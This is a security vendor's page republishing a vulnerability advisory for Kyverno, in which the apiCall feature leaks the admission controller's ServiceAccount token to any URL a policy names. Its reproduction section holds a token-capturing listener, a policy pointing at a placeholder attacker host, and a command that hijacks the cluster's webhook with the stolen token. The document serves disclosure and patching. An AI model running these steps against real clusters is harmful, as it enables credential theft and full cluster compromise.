Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41323 — kyverno

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-200 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Summary

Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.

Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

Details

There are two issues that combine into one attack chain.

The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():

```go

req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

```

No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

```go

if req.Header.Get("Authorization") == "" {

token := a.getToken()

req.Header.Add("Authorization", "Bearer "+token)

}

```

The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.

Reproduction

Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

Step 1: Start an HTTP listener on an attacker machine:

```python

# capture_server.py

from http.server import HTTPServer, BaseHTTPRequestHandler

import json, datetime

class Handler(BaseHTTPRequestHandler):

def do_GET(self):

print(json.dumps({

"timestamp": str(datetime.datetime.now()),

"path": self.path,

"headers": dict(self.headers)

}, indent=2))

self.send_response(200)

self.send_header("Content-Type", "application/json")

self.end_headers()

self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

```

Step 2: Create a ClusterPolicy that calls the attacker server:

```yaml

apiVersion: kyverno.io/v1

kind: ClusterPolicy

metadata:

name: ssrf-poc

spec:

validationFailureAction: Audit

background: false

rules:

  • name: exfil

match:

any:

  • resources:

kinds:

  • Pod

context:

  • name: exfil

apiCall:

service:

url: "http://ATTACKER-IP:9999/steal"

method: GET

jmesPath: "@"

validate:

message: "check"

deny:

conditions:

any:

  • key: "{{ exfil }}"

operator: Equals

value: "NEVER_MATCHES"

```

Step 3: Create any pod to trigger policy evaluation:

```bash

kubectl run test --image=nginx

```

Step 4: The listener receives the SA token immediately:

```

Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

```

Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller

Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.

Step 5: Use the token to hijack webhooks:

```bash

# Verify permissions

kubectl auth can-i patch mutatingwebhookconfigurations \

--as=system:serviceaccount:kyverno:kyverno-admission-controller

# yes

# Patch the webhook to redirect to attacker

kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \

--type='json' \

-p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \

--token="eyJhbG..."

```

After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.

Verified permissions of stolen token

Tested with the default Helm installation:

| Action | Result |

|--------|--------|

| List pods (all namespaces) | Allowed |

| Read configmaps in kube-system | Allowed |

| PATCH MutatingWebhookConfiguration | Allowed |

| PATCH ValidatingWebhookConfiguration | Allowed |

| Read secrets (cluster-wide) | Denied (per-NS only) |

Impact

An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:

1. Hijack Kyverno's own mutating/validating webhooks

2. Intercept and modify every API request flowing through the cluster

3. Inject malicious containers, escalate privileges, exfiltrate secrets

The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so o

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-41323 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

CVE-2026-41323 is recorded against 2 packages.

  • github.com/kyverno/kyverno
  • kyverno

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)
github.com (Fix)
github.com (Fix)

Other advisories for this package

github.com/kyverno/kyverno has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:

Details

Severity HIGH
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE CWE-200
Public Exploit ✅ No
Source OSV
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/kyverno/kyverno
kyverno

Similar Threats

Exploit Protection

Are you running kyverno?

CVE-2026-41323 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-41323 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026